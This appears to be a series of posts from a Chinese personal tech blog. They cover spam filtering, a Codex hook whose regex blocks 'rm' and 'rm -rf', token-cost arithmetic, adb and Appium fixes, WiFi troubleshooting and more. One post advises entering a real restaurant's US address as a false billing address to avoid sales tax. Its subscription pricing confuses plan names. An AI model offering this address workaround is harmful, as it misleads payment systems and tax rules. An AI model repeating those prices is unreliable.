6.还有几个要注意的地方

关键词过滤不是万能的，对方在两个字中间插入空格、横线、点号就可以尝试绕过。所以配置里面会先清理常见空白和分隔符，让“算 命”“机-场”“手_游_代_理”也能命中。

但是过滤做得越狠，误伤也会越多。尤其是“代理”“节点”“加速器”这种正常语境也会出现的词，我这里只过滤昵称，没有过滤评论正文，影响相对小一点。如果拿同一份词库过滤正文，最好先删掉这些宽泛词。

另外，User-Agent过滤、昵称关键词和IP限制都只能挡住一部分垃圾请求。Artalk自己的验证码、评论审核和反垃圾配置也该开还是得开，多放几层总比只靠一个正则表达式靠谱。

The end

从最开始拦python requests，到后来检查Artalk昵称，再到外置词库没加载导致广告漏网，这个小配置居然也能连续踩好几个坑。

不过现在以后再看到新的广告昵称，只要往文本文件里面加一行就完事了，终于不用每次都去改那一大坨Nginx配置。

有新的垃圾评论套路，也欢迎来评论区交流，前提是别把昵称起成“算命大师”。

1.起因

最近在网上看到，有很多人的文件都说被 AI 工具误删了。

正常写代码时删个测试文件、临时目录其实挺常见的，但AI工具为了完成任务，删起东西来也可能一点不手软。权限一给高，哪天模型来一句rm -rf，把目录清了，等它跑完再看终端输出，那可真是欲哭无泪。

最开始想到的办法很朴素，给zsh加一句alias：

1

alias rm='rmtrash'

这招平时自己在终端里敲命令还行，但放到Codex这里就不太稳了。Codex跑的shell不一定会加载你的交互式配置，/bin/rm也能直接绕过去。只靠alias，多少有点看运气。

2. 先装对工具：rmtrash

在写Hook前，先把替代命令准备好。这里推荐安装rmtrash：

1

brew install rmtrash

它就是按rm的使用习惯做的废纸篓版本，删普通文件和目录都直接用它：

1
2

rmtrash 文件.txt
rmtrash -rf 临时目录

执行后文件会进macOS废纸篓，想反悔还能在访达里面恢复。

这里不要直接用trash命令。这个名字在不同macOS版本和第三方工具里都可能对应不同实现，它不是给rm做参数兼容的。Codex常用的rm -rf一类参数直接丢给trash，要么被忽略，要么行为和预期不一样，踩坑了更难受。

后面Hook返回的提示也统一让AI使用rmtrash，这样不用再猜它该换成哪个命令。

3. Codex的PreToolUse Hook

Codex自带Hooks机制，可以在工具调用前后跑一段固定脚本。这里要用的就是PreToolUse，它能在shell命令真正执行前看一眼命令内容，发现是rm就直接拒绝。

先在用户目录创建文件：

1
2

~/.codex/hooks.json
~/.codex/hooks/block_rm.py

3.1 配置hooks.json

把下面这段放进~/.codex/hooks.json：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "^Bash$",
        "hooks": [
          {
            "type": "command",
            "command": "/usr/bin/python3 /Users/你的用户名/.codex/hooks/block_rm.py",
            "timeout": 5,
            "statusMessage": "Checking rm command"
          }
        ]
      }
    ]
  }
}

这里的matcher只匹配Codex的shell工具，其他工具不会被这个Hook影响。

3.2 写拦截脚本

接着创建~/.codex/hooks/block_rm.py：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

#!/usr/bin/env python3
import json
import re
import sys

RM_COMMAND = re.compile(
    r"(?:^|[\n;&|])\s*"
    r"(?:(?:command|sudo(?:\s+-[A-Za-z]+)*|env(?:\s+[A-Za-z_][A-Za-z0-9_]*=[^\s]+)*)\s+)*"
    r"\\?(?:/(?:usr/)?bin/)?rm(?=$|[\s;|&])"
)

payload = json.load(sys.stdin)
command = str(payload.get("tool_input", {}).get("command", ""))

if RM_COMMAND.search(command):
    print(json.dumps({
        "hookSpecificOutput": {
            "hookEventName": "PreToolUse",
            "permissionDecision": "deny",
            "permissionDecisionReason": "Use rmtrash <path> to move files to the macOS Trash. Do not use rm or /bin/rm."
        }
    }))

拦住命令之后别只甩一句“禁用”，不然AI又得重新猜下一步该干啥。这里直接告诉它用rmtrash把目标丢进废纸篓，正常删除文件的流程还能继续跑。

最后给脚本加上执行权限：

1

chmod 700 ~/.codex/hooks/block_rm.py

重新打开Codex，第一次使用时如果出现Hook信任提示，确认这个脚本就是自己写的之后再选择信任。

4. 到底拦住了哪些东西？

这个脚本只干一件事：拦截顶层shell命令里真正执行的rm。

下面这些都会被拒绝：

1
2
3
4

rm file.txt
rm -rf 临时目录
/bin/rm file.txt
sudo rm file.txt

普通命令不受影响：

1
2

ls -la
git status

可以把Hook理解成Codex执行命令前的门卫。模型把命令递出去，门卫看见rm，直接给它挡回来，命令就不会落到系统里。

5. 这玩意不是万能的

这里还是得说清楚，Hook看到的是Codex顶层发出的工具调用。

如果模型先写了一个脚本，再执行：

1

./cleanup.sh

而cleanup.sh里面再去跑rm，这个Hook只看到了./cleanup.sh，看不到脚本内部的命令。同理，Python的shutil.rmtree()、Node.js的fs.rm()也不是这个Hook能处理的。

所以这个方案的目标不是给电脑装上绝对防删盾，而是先把最容易出现的直接rm误操作拦住。重要项目还是老老实实用Git提交、分支或者worktree，真出问题了才有地方回去。

The end

给Agent多加一道确定性的限制，有时候比在提示词里写十遍“不要删文件”管用得多。至少下次看到它想跑rm -rf，不会再只能干瞪眼了。

好久没有手写博客了，本文纯手敲！（部分配图是AI生成的）

从年初开始，skills引入的渐进式披露概念爆火。这个思路确实能节省模型消耗，但一个很容易被忽略的问题是：文件拆分不只是把大文档切小，它也会改变Agent Loop的执行路径。

要想说清楚这个账，我们需要先知道什么是大模型的prompt cache。

Prompt Cache和缓存命中计费

目前所有大模型的服务商都会提供一个正常的输入/输出计费，和缓存输入的计费。其中缓存命中的输入计费是远远低于非缓存输入的。以“梁圣的恩情还不完”的模型为例，dsv4pro缓存命中的价格是未命中的8.3‰

了解这个计费差距之后，再来简单说一下prompt cache是如何hit命中的。

以目前最主流的openai llm请求格式为例，我们发出去的请求是如下格式的json串：

1
2
3
4
5
6
7
8
9
10

{
        "model": "deepseek-v4-pro",
        "messages": [
            {"role": "system", "content": "你是一个有帮助的AI助手，回答要简明扼要。"},
            {"role": "user", "content": question}
        ],
        "stream": False,
        "max_tokens": 512,
        "temperature": 0.7
}

这里我们可以忽略其他字段，只看messages数组，这就是我们对话的上下文了，这个数组里面会包含system prompt、用户发出去的prompt、以及模型的工具调用和工具返回的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

[
  {
    "role": "system",
    "content": "你是一个天气助手。"
  },
  {
    "role": "user",
    "content": "北京今天适合出门吗？"
  },
  {
    "role": "assistant",
    "content": null,
    "tool_calls": [
      {
        "id": "call_abc123",
        "type": "function",
        "function": {
          "name": "get_weather",
          "arguments": "{\"city\":\"北京\",\"date\":\"today\"}"
        }
      }
    ]
  },
  {
    "role": "tool",
    "tool_call_id": "call_abc123",
    "name": "get_weather",
    "content": "{\"city\":\"北京\",\"date\":\"today\",\"weather\":\"晴\",\"temperature\":\"28°C\",\"aqi\":\"良\"}"
  },
  {
    "role": "assistant",
    "content": "北京今天晴，气温约 28°C，空气质量良，适合出门。"
  }
]

我们在Agent工具里的每一轮请求，都会带上我们先前对话和工具调用的所有历史，请求大模型API。在第一次请求的时候，这批历史消息就会服务端处理，写入KV Cache，后续我们发起请求再次携带这批历史信息的时候，就会命中服务器的KV Cache，从而计入缓存命中，以减少模型调用的资费。

网上常言的“缓存命中率”，在Agent工具支持的好的时候，可以简易地视作已经被写入缓存的数据，和我们每轮对话新增的数据的比例。

$$
缓存命中率 ≈ \frac{历史 token}{历史 token + 本轮新增 token} \times 100%
$$

而如果我们使用的Agent工具很垃圾，在追加本次请求新的消息的时候，把历史消息给重组或者修改了，那就出问题了。因为llm服务端只会匹配你的历史消息的前缀，发现前缀出现变化，缓存就没有命中了，此时就走了全量计费，那烧的钱也是库库涨了。

有关缓存命中率的事情是另外一个话题，本文不再展开。重点是，我们每轮请求的时候，所有历史消息都会再次被计算一次，计入Tokens资费。

很多刚用大模型的朋友在这个环节上就会产生疑惑：“为什么我的上下文才用了200k，tokens却消耗了好几百万了？”，那是因为每轮的Agent交互都会发出一次请求，每次请求都会进行全量的资费计算，服务端显示的Tokens消耗量是每轮交互的Tokens消耗的叠加！

sequenceDiagram    participant U as 用户    participant A as Agent服务    participant L as LLM接口    U->>A: 第1轮提问    A->>L: 发送完整上下文(消息1)，计费20k Token    L-->>A: 返回回答    Note over A: 累计消耗：20k    U->>A: 第2轮追问    A->>L: 发送完整历史(消息1+消息2)，计费25k Token    L-->>A: 返回回答    Note over A: 累计消耗：45k    U->>A: 第3轮追问    A->>L: 发送全部历史(消息1+2+3)，计费28k Token    L-->>A: 返回回答    Note over A: 累计消耗：73k    Note over U,A: 用户疑惑：上下文仅28k，账单却显示73k

System Prompt和渐进式披露

在了解了大模型的计费规则之后，我们再来说说Agent工作流和“渐进式披露”的概念。

在早前的Agent系统设计中，会将Agent需要调用工具的各类约束，以及需要用上的MCP工具/Function Call^[1]，加载到Agent的System Prompt和Tool Use块中，作为第一次请求的参数，携带给大模型。

这就会导致我们所有工具，不管本轮调用时模型用不用得上，都会把完整的工具名字、工具参数和工具描述信息发送给大模型，从而造成Tokens的浪费。还可能会因为工具过多，对LLM选择工具造成心智负担，若选择错工具，流程也就出错了，从而影响整个Agent工作流的准确性和效率。

而渐进式披露的思路与此不同，在发送首轮消息的时候，只会携带每一个skill的名字和简述，不会携带完整的工具调用信息。Agent在识别到自己需要某一个skill的时候，再去读取这个skill的SKILL.md文件，和skill中可能包含的其他需要Agent阅读的参考文件，根据文件约束工作。

在openclaw、hermes这种个人助理式的Agent工具中，渐进式披露无疑是个非常好的思路，毕竟这些助理式系统需要对接的外部工具实在是太多了。如果使用MCP的方式，把这些工具全都加载到Agent的上下文里，哪怕只是工具调用的信息就足够把大模型context撑爆，openclaw也压根没有办法正常工作了。

而且这样做在绝大部分场景下也能节省成本，原本5个工具调用加上工具调用配套的指导说明，可能会占用1k的上下文token，并在每次请求的时候都被携带。现在可以被缩减成一个简单的skill描述，只需要占用100-200的token，在需要的时候才去加载完整的指导说明。

拆分文件能让总成本下降多少呢？

采用渐进式披露的理念，我们可以把我们工作流里面大的说明文件，按逻辑给拆分成数个小文件，让模型在执行到特定阶段的时候才去读取这个阶段的参考文档，从而减少一次性加载到模型上下文里面的token数量。

举个例子，假设这个工作流的完整说明文档需要占用30k的tokens^[2]，我们可以分成两个思路来处理：

1. 全量加载：在第一次请求就让Agent读取完整的工作流说明，30k加载到上下文里面。
2. 按需加载：把工作流按阶段拆分成几个文件，执行到某个阶段的时候，再去读取这个阶段的说明文件。假设拆分成6个文件，包含1个流程说明文件和5个阶段文件。平均每个文件5k token。

从常规的思路上看，第二种方式更好，即减少了首轮加载的说明文字的token数量（只需要加载流程整体说明文件和阶段1的文件共10k token），又让Agent暂时不知道后续阶段的详情，能更关注当前阶段的工作，避免注意力偏离。

但这种方式最终能节省多少token，不能只看首轮请求变小了多少，我们来算笔账就知道了！

假设我们这个工作流涉及到200轮次的模型交互（用简单算法，就是等价于100次模型请求），我们设：

1
2
3

基础模型调用：100 次
每次调用后，历史上下文增加：2k
所以第 n 次请求的普通历史上下文约为：2k * n

先算不含工作流文档的普通上下文：

1
2
3

2k * (1 + 2 + ... + 100)
= 2k * 5050
= 10.1m tokens

全量加载

每次请求都额外带 30k 工作流文档：

1
2
3
4

普通上下文：10.1m
工作流文档：30k * 100 = 3.0m

总计：13.1m tokens

按需加载，不算额外工具调用

这里要注意的是，拆分文档之后，会多出来5次额外阅读阶段文档的模型调用次数。

假设每20次请求进入一个新阶段，阶段文件依次被读取：

1
2
3
4
5

请求 1-19：   10k * 19 = 190k
请求 20-39：  15k * 20 = 300k
请求 40-59：  20k * 20 = 400k
请求 60-79：  25k * 20 = 500k
请求 80-100： 30k * 21 = 630k

工作流文档部分：

1

2.02m tokens

加上普通上下文：

1

10.1m + 2.02m = 12.12m tokens

按需加载，再算 5 次额外工具调用

这 5 次额外请求也要带当时已有的普通历史上下文。假设额外请求发生在大约第 1、20、40、60、80 次附近：

1
2
3
4

普通上下文额外成本：
2k * (1 + 20 + 40 + 60 + 80)
= 2k * 201
= 402k

再加上这些额外请求里已加载的工作流文档。大致是：

1

5k + 10k + 15k + 20k + 25k = 75k

所以额外工具调用成本约为：

1

402k + 75k = 477k

最终按需加载总成本：

1

12.12m + 0.477m = 12.597m tokens

对比全量加载：

1
2
3
4

全量加载：13.1m
按需加载：12.597m
节省：0.503m tokens
节省比例：约 3.84%

诶，确实省钱了！

对，在这个模型里，即使把额外读取阶段文档的请求算进去，按需加载仍然节省了约0.503m tokens。

但这里真正值得注意的是：这个收益不是无限大的，而是约3.84%。

这和很多人直觉中的“大幅节省”并不一样。原因是，在一个很长的Agent Loop里，真正的大头不只是那30k工作流文档，还有每一轮都会增长、并在后续请求里反复携带的普通历史上下文。

换句话说，渐进式披露确实降低了“文档预加载成本”，只是它不会消灭“历史上下文反复计费”这个基本事实。因此，文件拆分之后，真正要关注的不是“它能不能省”，而是“怎么把省下来的部分保住”。

文件拆分会改变Agent Loop

前面的计算里，按需加载比全量加载省了约3.84%。这个收益是真实存在的，但文件拆分会让Agent多出“判断阶段、读取阶段文件、进入下一阶段”的动作。如果这些动作没有被设计好，收益就会被额外loop消耗掉。

常见需要注意的点包括：

1. 阶段切换时多出额外规划请求；
2. 反复读取index文件或同一个阶段文件；
3. 由于幻觉读错阶段文件（这个在最新的模型里面应该很少会出现了）；
4. 拆分后的文件重复携带公共背景、全局约束和术语解释；
5. 其他异常让Agent Loop多跑了很多轮；

这些问题不是渐进式披露本身的问题，而是文件拆分之后带来的工程问题。文件拆分让工作流更依赖Agent Loop的稳定性：如果Agent能稳定地只读必要文件、只读一次、并且不重复总结，那么按需加载通常会省token；但如果Agent在阶段之间反复规划、重读、摘要、重试，那么原本省下来的token就会被额外请求吃掉。

所以我的结论是：

• 渐进式披露可以节省文档预加载成本；
• 文件拆分需要配合稳定的Agent Loop设计；
• 省下来的token能不能留住，取决于额外请求和重复上下文是否可控；

如果要判断一个工作流到底有没有省钱，不能只看首轮上下文减少了多少，而要按请求链路拆账：

1
2
3
4
5
6
7

总成本 =
普通历史上下文成本
+ 已加载文档在后续请求中的重复成本
+ 额外工具调用请求成本
+ 重复公共上下文成本
+ tool result / summary重复保留成本
+ cache miss带来的计费放大

这也是为什么有时候你做了渐进式披露，账单下降却没有预期中明显。此时优先检查的不是“渐进式披露有没有价值”，而是Agent Loop里是否多出了请求、重复上下文和缓存损耗。

总结

渐进式披露是非常好的Agent设计思路，尤其适合工具很多、skill很多、任务类型分散的个人助理式系统。它能显著降低首轮上下文压力，也能避免模型一开始就被大量无关工具和规则干扰。

但在重Agent工作流里，我们不能只看“单次请求少读了多少tokens的内容”，还要看文件拆分之后，整个循环最终多跑了多少请求、保留了多少重复内容、缓存命中了多少。

一个比较稳妥的判断标准是：

1
2
3

如果文档很大、阶段明确、读取次数可控，渐进式披露通常能省。
如果阶段边界模糊、Agent经常重读和重试，收益会被吃掉。
如果拆分导致大量公共上下文重复，需要重新设计文件结构。

所以，渐进式披露可以节省消耗，但不是把一个大文件机械拆成多个小文件就结束了。它省下的是“提前加载未来信息”的成本，而文件拆分要解决的是另一个问题：让Agent Loop稳定、可预期，并且不要为了读取这些小文件制造新的浪费。

1. 起因

Mac 第一次开机配置的时候，如果没手动改电脑名，系统会自作主张把当前连接的局域网 IP 设成 hostname。

然后在访达侧边栏、隔空投送的设备名、终端提示符里，全是那个 IP 地址，属实不雅观。

2. 解决

Mac 的 hostname 其实分三个不同的名字，对应的修改命令也不一样：

三条命令一次性搞定：

1
2
3
4
5
6
7
8
9
10
11

# 1. 访达/隔空投送显示的电脑名（可中文）
sudo scutil --set ComputerName "My-MacBook"

# 2. 局域网Bonjour本地名（不能中文）
sudo scutil --set LocalHostName "mymac"

# 3. 终端提示符HostName（关键！缺这个就会变IP）
sudo scutil --set HostName "mymac.local"

# 刷新DNS缓存立刻生效
dscacheutil -flushcache

改完之后用这三条命令确认一下：

1
2
3

scutil --get ComputerName
scutil --get LocalHostName
scutil --get HostName

输出和你设的一样就搞定了。

3. 注意事项

LocalHostName 和 HostName 不要设成中文，否则局域网发现会出问题，终端提示符也可能显示乱码。

HostName 建议加上 .local 后缀，这是 macOS 的惯例，不加也有可能正常工作，但加了更稳。

The end

有遇到同样问题的同学欢迎评论区交流！

1.起因

工作上用 ChatGPT 的频率越来越高，Plus 订阅是绕不开的，但国内直接付美元一直是个麻烦事。翻了一圈发现招商银行有 Visa 金卡可以申请，而且绑定谷歌支付账户后可以直接走海外账单，就折腾了一下。

过程本身不复杂，但有个关键坑踩了才知道——绑卡的时候地区一定要选美国，账单地址也要填美国地址，否则会被系统定位到其他国家，然后你就发现同样是订阅 GPT Plus，价格突然就不一样了。

比如日本区现在是 16800 日元 / 月（Max 5x 那档），按当前汇率换算下来比美区 100 美元还贵，这谁受得了😂

2.申请招商银行 Visa 金卡

这张卡的正式名称是招商银行全币种国际信用卡（VISA），卡面是黑色，在招商银行掌上生活 App 里搜"全币种"就能找到，按流程申请即可。审核秒批率挺高，已有招行卡的用户基本一键通过。

申请之后不是直接邮寄，而是先发短信通知安排工作人员上门补充材料。当然也可以自己带身份证去任何招商银行线下网点办理。

强烈建议去线下——我去线下填完资料，第二天就收到卡了，效率比等人上门快很多。

3.绑定谷歌账户海外支付

拿到卡之后，进谷歌账户的付款与订阅页面添加付款方式，填写 Visa 卡号、有效期和 CVV。

关键步骤在这里：

• 地区/国家必须选 United States
• 账单地址要填美国地址，推荐填蒙大拿州（Montana）——美国少数几个免销售税的州之一，部分服务会按账单地址收税，填这里能省一笔

我用的地址是蒙大拿州米苏拉的一家餐厅：

1

875 Wyoming St Suite 101, Missoula, MT 59801

随手找的，填进去就行，系统不会验证你是否真住在那里。

绑完之后建议先随便买个小额的东西验证一下卡是否正常，再去订阅正式服务。

4.为什么一定要选美国

不同国家/地区的订阅价格差异非常大，谷歌支付会根据你绑卡时设置的地区来决定走哪个区的定价。

以 ChatGPT Plus 为例（2026 年 5 月数据，汇率取中间价）：

• 美区：$100 / 月（Max 5x 那档）≈ 686 元人民币
• 日本区：¥16800 / 月（Max 5x 那档）≈ 729 元人民币

日本区反而比美区贵了将近 43 元，这已经完全失去了"选便宜区"的意义了。

所以绑卡时无论如何都要把地区选到美国，账单地址也要填美国的，不要图省事随便填。

5.验证是否成功

绑定完成后，可以在对应平台的订阅页面确认是否生效。以 Google Play 订阅 ChatGPT Pro 为例，成功后的界面如下：

The end

有任何问题，欢迎评论区交流！

1.起因

工作太忙了根本没时间写博客。操作不复杂，但就是这些零碎的事让人懒得动笔。后来想想，这些事完全可以丢给 AI 干，于是给 WorkBuddy 配了一个专门写博客的 skill。

前提：这套工作流能跑起来，核心依赖是 Hexo 博客 + CI/CD 自动部署。博客的 md 文件 push 到 GitHub 之后，Netlify 或 Vercel 会自动跑 hexo g 生成静态页面并部署，不需要本地有 Hexo 环境，也不需要手动 hexo d。换句话说，AI 帮我把 md 文件写好 push 到 GitHub，剩下的事就全是自动化的了。站内搭建教程可以参考 使用 Netlify 和 Vercel 自动部署 Hexo。

工作太忙了根本没时间写博客。操作不复杂，但就是这些零碎的事让人懒得动笔。后来想想，这些事完全可以丢给 AI 干，于是给 WorkBuddy 配了一个专门写博客的 skill。

2.博客写作skill是怎么回事

简单说，就是让 AI 学习我写博客的规范，然后让它替我做这些事。

skill 里头沉淀了这些内容：

• front-matter 的标准格式（abbrlink、tags、categories、summary 怎么填）
• 我常用的 categories 和 tags 速查表（保证 AI 不会新建不存在的分类）
• 正文行文风格（口语化、问题驱动叙事、节标题带数字编号）
• 代码块规范（终端用 ❯ 前缀、中文占位符等）
• 文件路径规范（哪类文章放哪个目录）
• 常见反模式（AI 容易犯的毛病，比如用"小结"节标题、无编号节标题等）

skill 怎么来的？读了我 484 篇博客 + 12 个写作模板之后自动生成的 😄

3.现在的写博客流程

现在写博客特别简单，我只需要口头描述一下想写什么：

“帮我写篇博客，adb shell am start -d 启动跳链的时候，如果跳链里面有个&会被截断，解决办法是adb shell以后的命令用单引号包裹，跳链本身用双引号”

WorkBuddy 收到需求之后，自动做这些事：

1. 调用 MCP 工具取一个 abbrlink（从归档里拿第一个可用数字，同时把归档里那行删掉）
2. 判断文章应该放哪个目录（Appium 相关 → Notes/CODE/QATest/appium/）
3. 按 skill 里的规范生成 front-matter（categories、tags 都从现有池子里选，不会新增）
4. 以我的口吻写正文（口语化、问题驱动叙事、节标题带编号）
5. commit + push 到 master

整个过程我只需要说一句话，剩下的全是 AI 自己搞定。

4.实际效果

最近写的好几篇都是这样搞的，比如：

• 【Appium】安装 xcuitest 驱动时 npm install 报错的解决方法
• 【测开】adb shell am start 启动跳链时 & 符号被截断的解决方法

两篇都是口头需求，AI 写完之后我检查一遍，该补充的补充（比如加个 echo 管道的替代方案），然后 push。

5.AI写博客的关键

说白了，AI 本身不缺能力，关键是** skill 的积累**。

给它一个写作 skill，它就能按我的风格来写；给它一个分类速查表，它就不会乱建分类。skill 越完善，AI 的输出就越接近我本人写出来的东西。

这个博客写作 skill 不是一步到位的，是读了我所有文章之后才沉淀出来的。如果你也想这么玩，核心思路就是：把你写博客的规范拆解成 skill，让 AI 按规范执行，而不是每次都从头描述要求。

The end

有任何问题，欢迎评论区交流！

1.起因

最近在做 deeplink 跳转的测试，需要用 adb 直接拉起一个带参数的跳链，类似这样：

1

adb shell am start -d "myapp://home?from=test&tab=2" -a android.intent.action.VIEW

结果 App 收到的参数不对，一看日志，发现 tab=2 整个都没有传进去，跳链在 & 那里就断了。

然后我想着，这是 shell 特殊字符的问题，加个单引号把跳链包起来不就完了：

1

adb shell am start -d 'myapp://home?from=test&tab=2' -a android.intent.action.VIEW

还是不行，照样截断。

2.原因

这里有两层 shell 在处理命令：

1. 本机的 shell（你的终端，zsh/bash）
2. 设备上的 shell（adb 连进去之后的 Android shell）

adb shell 后面跟的命令，会先经过本机 shell 解析一遍，再传给设备 shell 执行。& 在 shell 里是后台运行的特殊符号，本机 shell 一看到它就直接把命令切断了，压根轮不到设备那边去处理。

只把跳链用单引号包起来，保护的只是跳链这个字符串，而 adb shell 本身的参数传递还是经过了本机 shell 的解析，所以没用。

3.解决

有两种方式可以解决这个问题。

方式一：单引号包住整个命令，跳链改用双引号

1
2
3
4
5

# 错误写法 —— 只包了跳链，& 仍然被本机 shell 截断
adb shell am start -d 'myapp://home?from=test&tab=2' -a android.intent.action.VIEW

# 正确写法 —— 单引号包住整个命令，跳链用双引号
adb shell 'am start -d "myapp://home?from=test&tab=2" -a android.intent.action.VIEW'

这样本机 shell 看到外层的单引号，会把里面的内容原封不动地整体传给 adb shell，& 就不会被截断了。设备上的 shell 收到完整命令之后，再去解析里面的双引号和参数，一切正常。

方式二：echo 管道传给 adb shell

1

echo 'am start -d "myapp://home?from=test&tab=2" -a android.intent.action.VIEW' | adb shell

echo 把命令字符串原样输出，通过管道 | 直接送进 adb shell 的标准输入执行，本机 shell 只负责跑 echo，不会再去解析后面的内容，& 自然也就安全了。

两种方式效果一样，方式二在命令特别长的时候可读性稍好一点，随喜好选用。

The end

这个坑比较隐蔽，因为报错不明显——App 不会崩，只是参数悄悄丢了，定位起来挺费劲的。以后只要跳链里带 &，直接按正确写法来就行了。

有问题欢迎评论区交流！

报错现象

执行安装命令：

1

appium driver install xcuitest@9.10.5

终端输出如下：

1
2
3
4
5
6

✔ Checking if 'appium-xcuitest-driver' is compatible
✖ Installing 'xcuitest@9.10.5'
Error: ✖ Encountered an error when installing package: npm command 'install --save-dev --no-progress --no-audit --omit=peer --save-exact --global-style --no-package-lock appium-xcuitest-driver@9.10.5 --json' failed with code null.

STDERR：
STDOUT：

报错信息极其简陋，STDERR 和 STDOUT 都是空的，完全没有有效提示。

原因分析

Appium 在安装驱动时会在 ~/.appium/node_modules/.cache/appium/ 目录下创建一个 .install.lock 文件，用来防止并发安装冲突。如果上一次安装过程异常退出（比如强制 Ctrl+C、进程崩溃等），这个锁文件就会残留下来，导致后续的安装流程在拿锁阶段就直接失败，npm 那边甚至来不及输出任何错误信息。

解决方法

删掉这个锁文件，然后重新安装就行了：

1
2

rm ~/.appium/node_modules/.cache/appium/.install.lock
appium driver install xcuitest@9.10.5

删除之后再跑一次安装，正常走完即可。

💡 后续排查思路：如果删了 .install.lock 之后仍然失败，建议直接用 npm 单独测试能否正常安装这个包：

1	npm install appium-xcuitest-driver@9.10.5 --save-dev

如果 npm 本身报错了，说明问题出在 npm 环境和网络层面，需要从 npm 配置（镜像源、registry）、Node.js 版本等方面进一步排查，而不是继续在 Appium 这一层兜圈子。

小结

这类锁文件残留的问题在各种包管理工具里都挺常见的，npm、yarn、pip、cargo 都有类似机制。遇到安装命令无缘无故失败、报错信息又非常空洞的时候，可以优先检查一下有没有残留的 lock 或 pid 文件。

从这年开始，慕雪彻底告别了校园，告别了十余年的学生时代，踏入了工作岗位，迎来未知的挑战。

从此以后，再也听不到宿舍开黑的笑语，再也没有长长的寒暑假，也再也不会有人和你一起承担期末复习周的压力——出了校园，一切都靠自己。

之前在网上看到过这样一句话：好好珍惜自己的学生时代，因为只有学生时代，你的努力，才是能被你的成绩量化的。进入社会和工作后，再也没有稳定的量化指标，你的任何努力，都可能会是竹篮打水一场空，得不到任何结果。

“What’s happened’s happened. Which is an expression of faith in the mechanics of the world. It’s not an excuse to do nothing.”^[1]

This is reality.

希望能一切顺利，健康安稳。

愿2026，更加美好！

2026，新年快乐！

因为之前一直用的是一个老的WiFi 5路由器，链接的设备比较多，感觉网速不太稳定，就新买了个WiFi 7路由器（TP-Link的BE3600）。结果没想到，遇到了MacBook的"玄学"问题，让我折腾了将近两个周末的时间……

刚路由器设置好，用MacBook连上WiFi，一切正常。毕竟只是换个路由器，用的也是光猫拨号（没有设置光猫桥接模式），本来就不太可能出现啥问题。但是用了几天就发现了一个问题，每次链接WiFi之后，大约过了10分钟，Mac就上不了网了，具体表现为：WiFi显示正常连接，但就是上不了网。

排查思路

问题出现了自然是要想办法解决，首先自然是这个新路由器自己是不是有点毛病。但考虑到我的windows电脑也连着这个WiFi连续打了很久的在线游戏，都没有遇到过掉包或者断网的问题，手机连着看视频啥的都正常，那大概率不是路由器自己的毛病了。

所以，问题就回到了Mac身上。

最容易想到的就是代理导致的，于是关闭代理软件，清除所有代理设置——问题依旧。

到这里我就没啥招了，暂时也不想重装系统，于是上苹果线下售后看了看，检测了硬件都是良好的。其实硬件没问题也是意料之中，不然怎么解释刚连上5G的时候能上网？硬件要是真有问题大概率是一开始就连不上这WiFi。

苹果线下售后的服务态度是真不错，就是人也是真的多，活像🏥挂号。预约的天才吧（是叫这个名字吧？）16点，最后快17点了才轮到我。

售后工程师给了个方案，就是在网络设置里面新建一个“环境”，然后切到这个新的环境去用。当时这样操作之后，网络就正常了。连续用Ping测试了40分钟都没有断网，感觉问题搞定了，于是回家。

当时售后也说了，如果这样弄还搞不定，就要考虑重装系统了

回家之后，用了几天，发现问题又来了……如法炮制又新建了一个“网络环境”，切过去还是无济于事。于是就备份资料，进入恢复模式，格式化硬盘，重置系统。

家里有个移动硬盘，平时文件整理习惯也好，所有资料都在一个data文件夹里面，把自己的数据都拷贝出去，直接重装系统就行了，唯一难受的就是得重新配开发环境。

重置系统之后，不装代理，继续使用了几个小时……问题又来了！！！！

问题解决

前面那些方法全都没搞定，本来都要放弃治疗了，无意之中想到了最后一个可能性：Mac和这个路由器不兼容！

抱着试一试的心态，我进路由器的App，把原来合并的5GHz/2.4GHz WiFi分开了：

• 原来是一个统一的名字，路由器和设备自动选择频段
• 改成两个独立的WiFi：XXX_5G和XXX_2.4G

然后让MacBook专门连接2.4GHz的那个WiFi。

奇迹发生了！连接2.4GHz WiFi后，再也没有出现过"WiFi连接正常但无网络"的问题。连续使用了好几天，网络一直稳定得不行。

不过说实话，2.4G的网速是真的慢的要死，相同位置的windows台式（和WiFi隔了一堵墙），主板内置的WiFi7的网卡，能跑满宽带300mbps的速度。但连2.4G WiFi的mac只有区区50mbps，有点可怜了。

好在我用mac多是办公娱乐为主，对网速要求并没有那么高，相比于天天整断网这一出，50mbps也勉强够用了。

写在最后

这次的"WiFi玄学问题"真的让我折腾了好久。从最开始怀疑梯子、怀疑mac自己硬件有问题，到重装系统，最后才发现是路由器不兼容的问题，真是无语了。谁能想到那么贵一苹果电脑还能和WiFi有兼容性问题……

就是不知道，如果买个小路由器当AP连主路由器，再用网线连Mac，是不是能解决网络不稳定的问题？相当于拿这个路由器当外置WiFi网卡用。

咱也没试过，毕竟整这一出还得给mac买个有网口的扩展坞，成本也不低（主要是效果未知）

注：本文记录的是个人遇到的问题和解决方案，具体问题可能因设备型号和环境不同而有所差异。

开源地址：https://github.com/zai-org/Open-AutoGLM

一般情况下呢，这里得要介绍一下这个模型，背景信息啊，什么什么的。但慕雪最近很忙没时间写，直接跳过步入正题吧！

总而言之言而总之，这是智谱在25年12月9日开源的，一个专门为手机UI自动化操作开发的大模型，在今年早些时候AutoGLM的手机App就已经上线并可以通过里面的云端虚拟手机进行测试。现在，智谱把模型和本地Agent框架PhoneAgent一并开源，让我们可以自己部署AutoGLM并将其运用到各类UI自动化操作上。

因为是自部署的，数据都在你本地，也就不用担心大模型云端操作的隐私泄露问题了。

2. AutoDL部署AutoGLM模型

2.1. 创建镜像

AutoDL：https://www.autodl.com/home

根据官方在issue里面的回复，AutoGLM模型使用24G显存勉强可以运行，但实际上会占用27G的显存+共享内存，所以，需要在AutoDL上选一个32GB或48GB显存的服务器，cuda版本为12.8以上的，镜像选择PyTorch 2.8.0、Python 3.12(ubuntu22.04)、CUDA 12.8，就可以了。

创建镜像并开机之后，可以用ssh工具连这个服务器，也可以直接用控制台里面的jupyterLab链接，jupyterLab本身就带了终端持久运行的能力，不再需要我们安装tmux等其他守护进程工具了。

2.2. 下载模型

